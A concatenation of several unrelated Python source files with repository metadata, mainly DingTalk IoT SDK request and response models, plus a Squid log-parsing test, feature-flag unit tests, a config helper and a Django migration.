m.get('conferenceId') if m.get('conferencePassword') is not None: self.conference_password = m.get('conferencePassword') if m.get('deviceIds') is not None: self.device_ids = m.get('deviceIds') return self class DeviceConferenceResponseBody(TeaModel): def __init__( self, conference_id: str = None, ): # 会议ID self.conference_id = conference_id def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.conference_id is not None: result['conferenceId'] = self.conference_id return result def from_map(self, m: dict = None): m = m or dict() if m.get('conferenceId') is not None: self.conference_id = m.get('conferenceId') return self class DeviceConferenceResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: DeviceConferenceResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DeviceConferenceResponseBody() self.body = temp_model.from_map(m['body']) return self class RegisterDeviceHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class RegisterDeviceRequest(TeaModel): def __init__( self, corp_id: str = None, id: str = None, device_name: str = None, nick_name: str = None, location: str = None, device_status: int = None, device_type: str = None, device_type_name: str = None, parent_id: str = None, product_type: str = None, live_url: str = None, ): # 钉钉组织id self.corp_id = corp_id # 设备id self.id = id # 设备名称 self.device_name = device_name # 设备昵称 self.nick_name = nick_name # 设备地址 self.location = location # 设备状态 0:在线 1:离线 self.device_status = device_status # 设备类型 self.device_type = device_type # 设备类型名称 self.device_type_name = device_type_name # 设备父节点id self.parent_id = parent_id # 设备类型摄像头:CAMERA 其它:OTHERS self.product_type = product_type # 视频流地址 self.live_url = live_url def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id if self.id is not None: result['id'] = self.id if self.device_name is not None: result['deviceName'] = self.device_name if self.nick_name is not None: result['nickName'] = self.nick_name if self.location is not None: result['location'] = self.location if self.device_status is not None: result['deviceStatus'] = self.device_status if self.device_type is not None: result['deviceType'] = self.device_type if self.device_type_name is not None: result['deviceTypeName'] = self.device_type_name if self.parent_id is not None: result['parentId'] = self.parent_id if self.product_type is not None: result['productType'] = self.product_type if self.live_url is not None: result['liveUrl'] = self.live_url return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') if m.get('id') is not None: self.id = m.get('id') if m.get('deviceName') is not None: self.device_name = m.get('deviceName') if m.get('nickName') is not None: self.nick_name = m.get('nickName') if m.get('location') is not None: self.location = m.get('location') if m.get('deviceStatus') is not None: self.device_status = m.get('deviceStatus') if m.get('deviceType') is not None: self.device_type = m.get('deviceType') if m.get('deviceTypeName') is not None: self.device_type_name = m.get('deviceTypeName') if m.get('parentId') is not None: self.parent_id = m.get('parentId') if m.get('productType') is not None: self.product_type = m.get('productType') if m.get('liveUrl') is not None: self.live_url = m.get('liveUrl') return self class RegisterDeviceResponseBody(TeaModel): def __init__( self, device_id: str = None, ): # 设备id self.device_id = device_id def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.device_id is not None: result['deviceId'] = self.device_id return result def from_map(self, m: dict = None): m = m or dict() if m.get('deviceId') is not None: self.device_id = m.get('deviceId') return self class RegisterDeviceResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: RegisterDeviceResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = RegisterDeviceResponseBody() self.body = temp_model.from_map(m['body']) return self class BatchRegisterDeviceHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class BatchRegisterDeviceRequestDevices(TeaModel): def __init__( self, device_id: str = None, device_name: str = None, device_status: int = None, device_type: str = None, device_type_name: str = None, product_type: str = None, live_url: str = None, parent_id: str = None, location: str = None, extra_data: Dict[str, Any] = None, ): # 设备ID。 self.device_id = device_id # 设备名称。 self.device_name = device_name # 设备状态 0:在线 1:离线 self.device_status = device_status # 设备类型，自定义传入，最多128个字节。 self.device_type = device_type # 设备类型名称，自定义传入，最多128个字节，与deviceType一一对应。 self.device_type_name = device_type_name # 产品类型 CAMERA：摄像头，可看直播 OTHERS：非摄像头 self.product_type = product_type # 视频流地址直播流地址，支持rtmp、flv、hls等格式，需要https协议。 self.live_url = live_url # 父设备ID。 self.parent_id = parent_id # 设备地址。 self.location = location # 第三方平台定制参数，企业内部系统忽略。 self.extra_data = extra_data def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.device_id is not None: result['deviceId'] = self.device_id if self.device_name is not None: result['deviceName'] = self.device_name if self.device_status is not None: result['deviceStatus'] = self.device_status if self.device_type is not None: result['deviceType'] = self.device_type if self.device_type_name is not None: result['deviceTypeName'] = self.device_type_name if self.product_type is not None: result['productType'] = self.product_type if self.live_url is not None: result['liveUrl'] = self.live_url if self.parent_id is not None: result['parentId'] = self.parent_id if self.location is not None: result['location'] = self.location if self.extra_data is not None: result['extraData'] = self.extra_data return result def from_map(self, m: dict = None): m = m or dict() if m.get('deviceId') is not None: self.device_id = m.get('deviceId') if m.get('deviceName') is not None: self.device_name = m.get('deviceName') if m.get('deviceStatus') is not None: self.device_status = m.get('deviceStatus') if m.get('deviceType') is not None: self.device_type = m.get('deviceType') if m.get('deviceTypeName') is not None: self.device_type_name = m.get('deviceTypeName') if m.get('productType') is not None: self.product_type = m.get('productType') if m.get('liveUrl') is not None: self.live_url = m.get('liveUrl') if m.get('parentId') is not None: self.parent_id = m.get('parentId') if m.get('location') is not None: self.location = m.get('location') if m.get('extraData') is not None: self.extra_data = m.get('extraData') return self class BatchRegisterDeviceRequest(TeaModel): def __init__( self, corp_id: str = None, devices: List[BatchRegisterDeviceRequestDevices] = None, ): # 钉钉物联组织ID, 第三方平台必填，企业内部系统忽略。 self.corp_id = corp_id # 设备列表。 self.devices = devices def validate(self): if self.devices: for k in self.devices: if k: k.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id result['devices'] = [] if self.devices is not None: for k in self.devices: result['devices'].append(k.to_map() if k else None) return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') self.devices = [] if m.get('devices') is not None: for k in m.get('devices'): temp_model = BatchRegisterDeviceRequestDevices() self.devices.append(temp_model.from_map(k)) return self class BatchRegisterDeviceResponseBody(TeaModel): def __init__( self, device_ids: List[str] = None, ): # 注册成功的设备ID列表。 self.device_ids = device_ids def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.device_ids is not None: result['deviceIds'] = self.device_ids return result def from_map(self, m: dict = None): m = m or dict() if m.get('deviceIds') is not None: self.device_ids = m.get('deviceIds') return self class BatchRegisterDeviceResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: BatchRegisterDeviceResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = BatchRegisterDeviceResponseBody() self.body = temp_model.from_map(m['body']) return self class BatchRegisterEventTypeHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class BatchRegisterEventTypeRequestEventTypes(TeaModel): def __init__( self, event_type: str = None, event_type_name: str = None, ): # 事件类型(唯一)，最长20个字符。 self.event_type = event_type # 事件类型名称，长度4-20个字符，一个中文汉字算2个字符。 self.event_type_name = event_type_name def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.event_type is not None: result['eventType'] = self.event_type if self.event_type_name is not None: result['eventTypeName'] = self.event_type_name return result def from_map(self, m: dict = None): m = m or dict() if m.get('eventType') is not None: self.event_type = m.get('eventType') if m.get('eventTypeName') is not None: self.event_type_name = m.get('eventTypeName') return self class BatchRegisterEventTypeRequest(TeaModel): def __init__( self, corp_id: str = None, event_types: List[BatchRegisterEventTypeRequestEventTypes] = None, ): # 钉钉物联组织ID, 第三方平台必填，企业内部系统忽略。 self.corp_id = corp_id # 事件类型列表，最多支持添加500个。 self.event_types = event_types def validate(self): if self.event_types: for k in self.event_types: if k: k.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id result['eventTypes'] = [] if self.event_types is not None: for k in self.event_types: result['eventTypes'].append(k.to_map() if k else None) return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') self.event_types = [] if m.get('eventTypes') is not None: for k in m.get('eventTypes'): temp_model = BatchRegisterEventTypeRequestEventTypes() self.event_types.append(temp_model.from_map(k)) return self class BatchRegisterEventTypeResponseBody(TeaModel): def __init__( self, event_types: List[str] = None, ): # 注册成功的事件类型列表。 self.event_types = event_types def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.event_types is not None: result['eventTypes'] = self.event_types return result def from_map(self, m: dict = None): m = m or dict() if m.get('eventTypes') is not None: self.event_types = m.get('eventTypes') return self class BatchRegisterEventTypeResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: BatchRegisterEventTypeResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = BatchRegisterEventTypeResponseBody() self.body = temp_model.from_map(m['body']) return self class BatchUpdateDeviceHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class BatchUpdateDeviceRequestDevices(TeaModel): def __init__( self, device_id: str = None, device_name: str = None, location: str = None, device_status: int = None, live_url: str = None, extra_data: Dict[str, Any] = None, ): # 设备ID。 self.device_id = device_id # 设备名称。 self.device_name = device_name # 设备地址。 self.location = location # 设备状态 0:在线 1:离线 self.device_status = device_status # 视频流地址直播流地址，支持rtmp、flv、hls等格式，需要https协议。 self.live_url = live_url # 第三方平台定制参数，企业内部系统忽略。 self.extra_data = extra_data def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.device_id is not None: result['deviceId'] = self.device_id if self.device_name is not None: result['deviceName'] = self.device_name if self.location is not None: result['location'] = self.location if self.device_status is not None: result['deviceStatus'] = self.device_status if self.live_url is not None: result['liveUrl'] = self.live_url if self.extra_data is not None: result['extraData'] = self.extra_data return result def from_map(self, m: dict = None): m = m or dict() if m.get('deviceId') is not None: self.device_id = m.get('deviceId') if m.get('deviceName') is not None: self.device_name = m.get('deviceName') if m.get('location') is not None: self.location = m.get('location') if m.get('deviceStatus') is not None: self.device_status = m.get('deviceStatus') if m.get('liveUrl') is not None: self.live_url = m.get('liveUrl') if m.get('extraData') is not None: self.extra_data = m.get('extraData') return self class BatchUpdateDeviceRequest(TeaModel): def __init__( self, corp_id: str = None, devices: List[BatchUpdateDeviceRequestDevices] = None, ): # 钉钉物联组织ID, 第三方平台必填，企业内部系统忽略。 self.corp_id = corp_id # 设备列表。 self.devices = devices def validate(self): if self.devices: for k in self.devices: if k: k.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id result['devices'] = [] if self.devices is not None: for k in self.devices: result['devices'].append(k.to_map() if k else None) return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') self.devices = [] if m.get('devices') is not None: for k in m.get('devices'): temp_model = BatchUpdateDeviceRequestDevices() self.devices.append(temp_model.from_map(k)) return self class BatchUpdateDeviceResponseBody(TeaModel): def __init__( self, device_ids: List[str] = None, ): # 修改成功的设备ID列表。 self.device_ids = device_ids def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.device_ids is not None: result['deviceIds'] = self.device_ids return result def from_map(self, m: dict = None): m = m or dict() if m.get('deviceIds') is not None: self.device_ids = m.get('deviceIds') return self class BatchUpdateDeviceResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: BatchUpdateDeviceResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = BatchUpdateDeviceResponseBody() self.body = temp_model.from_map(m['body']) return self class BindSystemHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class BindSystemRequest(TeaModel): def __init__( self, corp_id: str = None, auth_code: str = None, client_id: str = None, client_name: str = None, extra_data: Dict[str, Any] = None, ): # 三方平台的用户的钉钉物联组织ID。 self.corp_id = corp_id # 与三方平台绑定验证的临时授权码。 self.auth_code = auth_code # 三方平台的用户ID。 self.client_id = client_id # 三方平台的用户名。 self.client_name = client_name # 三方平台协定的其它参数。 self.extra_data = extra_data def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id if self.auth_code is not None: result['authCode'] = self.auth_code if self.client_id is not None: result['clientId'] = self.client_id if self.client_name is not None: result['clientName'] = self.client_name if self.extra_data is not None: result['extraData'] = self.extra_data return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') if m.get('authCode') is not None: self.auth_code = m.get('authCode') if m.get('clientId') is not None: self.client_id = m.get('clientId') if m.get('clientName') is not None: self.client_name = m.get('clientName') if m.get('extraData') is not None: self.extra_data = m.get('extraData') return self class BindSystemResponseBody(TeaModel): def __init__( self, corp_id: str = None, client_id: str = None, ): # 钉钉物联组织ID。 self.corp_id = corp_id # 三方平台的用户ID。 self.client_id = client_id def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id if self.client_id is not None: result['clientId'] = self.client_id return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') if m.get('clientId') is not None: self.client_id = m.get('clientId') return self class BindSystemResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: BindSystemResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = BindSystemResponseBody() self.body = temp_model.from_map(m['body']) return self

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0

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1

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null

0

8

753d6ef78a8b8c668ebf9d3b7a37c711435f44c7

3,606

py

Python

tests/test_log.py

Carbyne-Solutions/logrdis

7c6c4a8e37c9268b71a37bb428916479e17c9d39

[ "BSD-4-Clause" ]

null

tests/test_log.py

Carbyne-Solutions/logrdis

7c6c4a8e37c9268b71a37bb428916479e17c9d39

[ "BSD-4-Clause" ]

1

2021-03-25T21:47:26.000Z

tests/test_log.py

Carbyne-Solutions/logrdis

7c6c4a8e37c9268b71a37bb428916479e17c9d39

[ "BSD-4-Clause" ]

null

"""Test the log on a real life squid sample.""" import re from ..logrdis.log import find_match SAMPLES="""time 2017-10-22_18:20:05+0000 time_response 60 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TAG_NONE http_status_code 200 http_reply_size 0 http_request_method CONNECT http_request_url 172.217.5.228:443 user_name - squid_hier_code ORIGINAL_DST ip_destination 172.217.5.228 http_content_type -\n'b'time 2017-10-22_18:20:06+0000 time_response 135 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TCP_MISS http_status_code 200 http_reply_size 69919 http_request_method GET http_request_url https://www.google.com/ user_name - squid_hier_code ORIGINAL_DST ip_destination 172.217.5.228 http_content_type text/html\n'b'time 2017-10-22_18:20:06+0000 time_response 5 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TAG_NONE http_status_code 200 http_reply_size 0 http_request_method CONNECT http_request_url 172.217.5.227:443 user_name - squid_hier_code HIER_NONE ip_destination - http_content_type -\n'b'time 2017-10-22_18:20:06+0000 time_response 1 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TAG_NONE http_status_code 200 http_reply_size 0 http_request_method CONNECT http_request_url 172.217.5.227:443 user_name - squid_hier_code HIER_NONE ip_destination - http_content_type -\ntime 2017-10-22_18:20:06+0000 time_response 0 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TAG_NONE http_status_code 200 http_reply_size 0 http_request_method CONNECT http_request_url 172.217.5.227:443 user_name - squid_hier_code HIER_NONE ip_destination - http_content_type -\n'b'time 2017-10-22_18:20:06+0000 time_response 42 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TCP_MISS http_status_code 204 http_reply_size 374 http_request_method POST http_request_url https://www.google.com/gen_204? user_name - squid_hier_code ORIGINAL_DST ip_destination 172.217.5.228 http_content_type text/html\n'b'time 2017-10-22_18:20:06+0000 time_response 1 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TAG_NONE http_status_code 200 http_reply_size 0 http_request_method CONNECT http_request_url 172.217.7.131:443 user_name - squid_hier_code HIER_NONE ip_destination - http_content_type -\n'b'time 2017-10-22_18:20:06+0000 time_response 3 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TAG_NONE http_status_code 200 http_reply_size 0 http_request_method CONNECT http_request_url 172.217.7.131:443 user_name - squid_hier_code HIER_NONE ip_destination - http_content_type -\ntime 2017-10-22_18:20:06+0000 time_response 0 mac_source 08:00:27:f4:c8:4b ip_source 10.0.2.16 squid_request_status TAG_NONE http_status_code 200 http_reply_size 0 http_request_method CONNECT http_request_url 172.217.7.131:443 user_name - squid_hier_code HIER_NONE ip_destination - http_content_type -""" def test_find_match(test_yaml): """Test that find_match returns the expected entries.""" cfg = test_yaml() for sample in SAMPLES.split('\n'): tablename, match = find_match(sample, cfg) assert tablename == "access_logs", "Invalid table matched" assert re.search("[\d\-\:\+]+", match.group("time")) assert re.search("\d+", match.group("time_response")) assert re.search("[\d\:\-]+", match.group("mac_source")) assert re.search("[\d\.\-]+", match.group("ip_source")) assert re.search("[\d\.\-]+", match.group("http_request_url")) assert re.search("[\d\.\-]+", match.group("ip_destination"))

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null

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10

f38ff5b0744cbf6b674f062f3f445e992690ba20

2,885

py

Python

grow/common/features_test.py

matthiasrohmer/grow

88fae5026040ad0f7dd9260ee290cebbe49b39d7

[ "MIT" ]

null

grow/common/features_test.py

matthiasrohmer/grow

88fae5026040ad0f7dd9260ee290cebbe49b39d7

[ "MIT" ]

null

grow/common/features_test.py

matthiasrohmer/grow

88fae5026040ad0f7dd9260ee290cebbe49b39d7

[ "MIT" ]

null

"""Tests for features.""" import unittest from grow.common import features class FeaturesTestCase(unittest.TestCase): """Test the features control.""" def test_default_enabled(self): """Does the default enabled work?""" feat = features.Features(default_enabled=True) self.assertTrue(feat.is_enabled('unknown')) def test_default_enabled_false(self): """Does the default disabled work?""" feat = features.Features(default_enabled=False) self.assertFalse(feat.is_enabled('unknown')) def test_is_disabled_disabled(self): """Enabled features.""" feat = features.Features(disabled=['a', 'b']) self.assertTrue(feat.is_disabled('a')) self.assertTrue(feat.is_disabled('b')) self.assertFalse(feat.is_disabled('c')) def test_is_disabled_disabled_with_default_enabled_false(self): """Enabled features.""" feat = features.Features(disabled=['a', 'b'], default_enabled=False) self.assertTrue(feat.is_disabled('a')) self.assertTrue(feat.is_disabled('b')) self.assertTrue(feat.is_disabled('c')) def test_is_disabled_enabled(self): """Enabled features.""" feat = features.Features(enabled=['a', 'b']) self.assertFalse(feat.is_disabled('a')) self.assertFalse(feat.is_disabled('b')) self.assertFalse(feat.is_disabled('c')) def test_is_disabled_enabled_with_default_enabled_false(self): """Enabled features.""" feat = features.Features(enabled=['a', 'b'], default_enabled=False) self.assertFalse(feat.is_disabled('a')) self.assertFalse(feat.is_disabled('b')) self.assertTrue(feat.is_disabled('c')) def test_is_enabled_disabled(self): """Enabled features.""" feat = features.Features(disabled=['a', 'b']) self.assertFalse(feat.is_enabled('a')) self.assertFalse(feat.is_enabled('b')) self.assertTrue(feat.is_enabled('c')) def test_is_enabled_disabled_with_default_enabled_false(self): """Enabled features.""" feat = features.Features(disabled=['a', 'b'], default_enabled=False) self.assertFalse(feat.is_enabled('a')) self.assertFalse(feat.is_enabled('b')) self.assertFalse(feat.is_enabled('c')) def test_is_enabled_enabled(self): """Enabled features.""" feat = features.Features(enabled=['a', 'b']) self.assertTrue(feat.is_enabled('a')) self.assertTrue(feat.is_enabled('b')) self.assertTrue(feat.is_enabled('c')) def test_is_enabled_enabled_with_default_enabled_false(self): """Enabled features.""" feat = features.Features(enabled=['a', 'b'], default_enabled=False) self.assertTrue(feat.is_enabled('a')) self.assertTrue(feat.is_enabled('b')) self.assertFalse(feat.is_enabled('c'))

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8

f39348d43aa6dcd807e0d936aca45e2ecd9e5f7c

139

py

Python

boilerplate/backend/utils/config.py

tamuto/boilerplate

47950c67e89dc6c7f8b24705c04c6f6061797bb2

[ "MIT" ]

null

boilerplate/backend/utils/config.py

tamuto/boilerplate

47950c67e89dc6c7f8b24705c04c6f6061797bb2

[ "MIT" ]

null

boilerplate/backend/utils/config.py

tamuto/boilerplate

47950c67e89dc6c7f8b24705c04c6f6061797bb2

[ "MIT" ]

null

import os def get_CORS(): return os.environ.get('BACKEND_CORS') def get_DB_CONN(): return os.environ.get('BACKEND_MYSQL_CONN')

13.9

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0.322581

0.387097

0.537634

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null

0

1

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1

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8

342f46a21f91d0879d7c8dea73ba5b13964778b2

2,165

py

Python

web/pipeline/migrations/0106_auto_20201023_2249.py

stevenstuber/CIT

8c485e72084c06da6db45da1cb402bac26411ec2

[ "Apache-2.0" ]

10

2020-11-12T15:13:40.000Z

2022-03-05T22:33:08.000Z

web/pipeline/migrations/0106_auto_20201023_2249.py

stevenstuber/CIT

8c485e72084c06da6db45da1cb402bac26411ec2

[ "Apache-2.0" ]

28

2020-07-17T16:33:55.000Z

2022-03-21T16:24:25.000Z

web/pipeline/migrations/0106_auto_20201023_2249.py

stevenstuber/CIT

8c485e72084c06da6db45da1cb402bac26411ec2

[ "Apache-2.0" ]

5

2020-11-02T23:39:53.000Z

2022-03-01T19:09:45.000Z

# Generated by Django 2.2.13 on 2020-10-23 22:49 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('pipeline', '0105_auto_20201023_2112'), ] operations = [ migrations.AlterField( model_name='project', name='clean_energy_ind', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='construction_jobs', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='estimated_cost', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='federal_funding', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='green_building_ind', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='indigenous_ind', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='municipal_funding', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='operating_jobs', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='other_public_funding', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='provinvial_funding', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='project', name='public_funding_ind', field=models.IntegerField(blank=True, null=True), ), ]

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null

0

1

0

1

0

1

0

null

0

9

3433f922c84ebb99ebcc50a17af065823b889b56

222

py

Python

mlvajra/explanations/globalExp.py

rajagurunath/mlvajra

abaa40717342cecc785144700884e1c9d5910c43

[ "Apache-2.0" ]

2

2019-04-22T12:25:05.000Z

2019-05-05T16:49:12.000Z

mlvajra/explanations/globalExp.py

rajagurunath/mlvajra

abaa40717342cecc785144700884e1c9d5910c43

[ "Apache-2.0" ]

9

2019-04-06T14:27:22.000Z

2021-04-30T20:42:19.000Z

mlvajra/explanations/globalExp.py

rajagurunath/mlvajra

abaa40717342cecc785144700884e1c9d5910c43

[ "Apache-2.0" ]

null

from sklearn.ensemble.partial_dependence import partial_dependence,plot_partial_dependence from eli5.sklearn import PermutationImportance __all__=['PermutationImportance','partial_dependence','plot_partial_dependence']

55.5

91

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py

Python

services/ows_refactored/wofs/ows_wofsc2_cfg.py

eloise-b/config

070693cca69c1ee62a1995772668b172da15a4c3

[ "Apache-2.0" ]

null

services/ows_refactored/wofs/ows_wofsc2_cfg.py

eloise-b/config

070693cca69c1ee62a1995772668b172da15a4c3

[ "Apache-2.0" ]

null

services/ows_refactored/wofs/ows_wofsc2_cfg.py

eloise-b/config

070693cca69c1ee62a1995772668b172da15a4c3

[ "Apache-2.0" ]

null

